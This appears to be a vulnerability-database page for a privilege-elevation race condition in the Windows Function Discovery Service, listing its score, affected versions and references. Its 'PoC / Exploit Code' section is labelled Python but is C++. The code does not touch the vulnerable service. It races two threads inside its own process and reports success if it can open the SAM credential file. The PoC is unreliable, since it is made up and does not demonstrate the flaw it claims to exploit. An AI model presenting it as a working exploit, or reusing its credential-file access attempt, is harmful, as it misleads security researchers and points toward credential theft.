CVE-2026-32150

Description

Concurrent execution using shared resource with improper synchronization ('race condition') in Function Discovery Service (fdwsd.dll) allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score

7.0

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:* - VULNERABLE

Microsoft Windows 10

Microsoft Windows 11

Windows Server 2019

Windows Server 2022

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <iostream>

// Conceptual PoC for CVE-2026-32150 Race Condition
// This code simulates the race condition in fdwsd.dll

HANDLE hEvent;

DWORD WINAPI AttackerThread(LPVOID lpParam) {
    // Wait for the signal to start the race
    WaitForSingleObject(hEvent, INFINITE);
    
    // Attempt to exploit the TOCTOU window
    // Replace legitimate operation with malicious one
    HANDLE hExploit = CreateFile(L"C:\\Windows\\System32\\config\\SAM", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hExploit != INVALID_HANDLE_VALUE) {
        std::cout << "[+] Exploit successful: Access granted to protected resource." << std::endl;
        CloseHandle(hExploit);
    } else {
        std::cout << "[-] Exploit failed." << std::endl;
    }
    return 0;
}

DWORD WINAPI ServiceThread(LPVOID lpParam) {
    // Simulate the vulnerable service operation
    WaitForSingleObject(hEvent, INFINITE);
    
    // Simulate check and use gap
    Sleep(10); // Introduce delay to widen the race window
    
    // Normal operation that should be protected
    HANDLE hService = CreateFile(L"C:\\Temp\\safe_file.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hService != INVALID_HANDLE_VALUE) {
        WriteFile(hService, "Safe Data", 9, NULL, NULL);
        CloseHandle(hService);
    }
    return 0;
}

int main() {
    hEvent = CreateEvent(NULL, TRUE, FALSE, L"RaceEvent");
    
    HANDLE hThreads[2];
    hThreads[0] = CreateThread(NULL, 0, ServiceThread, NULL, 0, NULL);
    hThreads[1] = CreateThread(NULL, 0, AttackerThread, NULL, 0, NULL);
    
    // Trigger the race
    SetEvent(hEvent);
    
    WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
    
    CloseHandle(hEvent);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32150
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32150
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32150/
[4] VulDB https://vuldb.com/cve/CVE-2026-32150
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150

Raw JSON Data

JSON

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